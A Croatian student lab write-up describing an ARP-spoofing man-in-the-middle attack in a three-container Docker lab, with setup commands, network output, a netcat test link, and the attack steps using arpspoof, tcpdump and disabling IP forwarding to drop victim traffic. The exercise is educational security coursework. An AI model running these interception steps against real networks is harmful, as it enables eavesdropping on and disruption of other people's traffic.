

Prva laboratorijska vježba

Man in the middle attack - ARF spoofing

U ovoj smo vježbi realizirali man-in-the-middle napad koristeći ranjivost ARP protokola. Napada smo realizirali u virtualnoj Docker mreži koju čine tri virtualna računala, odnosno stationa:

- station 1 - žrtva
- station 2 - žrtva
- evil station / napadač

Korištenje alata

Kloniranje repozitorija



```
$ git clone https://github.com/mcagalj/SRP-2021-22
```

Promjena radnog direktorija



```
$ cd SRP-2021-22/arp-spoofing
```

Buildanje i pokretanje docker kontejnera



```
$ chmod +X ./start.sh
```



```
$ ./start.sh
```

Zaustavljanje docker kontejnera



```
$ chmod +X ./stop.sh
```



```
$ ./stop.sh
```

Pokrenuti kontejneri

CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
7142ae607cb3	srp/arp	"bash"	4 minutes ago	Up 4 minutes		station-2
c810f9effdb1	srp/arp	"bash"	4 minutes ago	Up 4 minutes		evil-station
cec29037dbe5	srp/arp	"bash"	4 minutes ago	Up 4 minutes		station-1

Pokretanje interaktivnog shella u station-1 kontejneru



```
$ docker ps exec -it sh
```

Dohvaćenje konfiguracije mrežnog interfejsa



```
$ ifconfig -a
```

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.24.0.2 netmask 255.255.0.0 broadcast 172.24.255.255
    ether 02:42:ac:18:00:02 txqueuelen 0 (Ethernet)
    RX packets 68 bytes 8291 (8.2 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
```

```
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Ovdje vidimo da je IP adresa 172.24.0.2, a adresa mrežnog uređaja 02:42:ac:18:00:02. Sada se pitamo nalazi li se station-2 na istoj mreži.



```
$ ping station-2
```



```
PING station-2 (172.24.0.4) 56(84) bytes of data.
64 bytes from station-2.srp-lab (172.24.0.4): icmp_seq=1 ttl=64 time=0.404 ms
64 bytes from station-2.srp-lab (172.24.0.4): icmp_seq=2 ttl=64 time=0.164 ms
64 bytes from station-2.srp-lab (172.24.0.4): icmp_seq=3 ttl=64 time=0.147 ms
64 bytes from station-2.srp-lab (172.24.0.4): icmp_seq=4 ttl=64 time=0.093 ms
64 bytes from station-2.srp-lab (172.24.0.4): icmp_seq=5 ttl=64 time=0.154 ms
```

Pokretanje interaktivnog shella u station-2 kontejneru



```
$ docker exec -it station-2 sh
```

Na kontejneru station-1 pomoću netceta otvaramo server TCP socket na portu 9000



```
$ netcat -lp 9000
```

Na kontejneru station-2 pomoću netcata otvaramo client TCP socket na hostnameu station-1 9000



```
$ netcat station-1 9000
```

Pokretanje interaktivnog shella u evil-station kontejneru



```
$ docker exec -it evil-station sh
```

U kontejneru evil-station pokrećemo arpspoof



```
$ arpspoof -t station-1 station-2
```

Pokrećemo tcpdump u kontejneru evil-station i pratimo promet



```
$ tcpdump
```

Gasimo prosljeđivanje spoofanih paketa



```
$ echo 0 > /proc/sys/net/ipv4/ip_forward
```

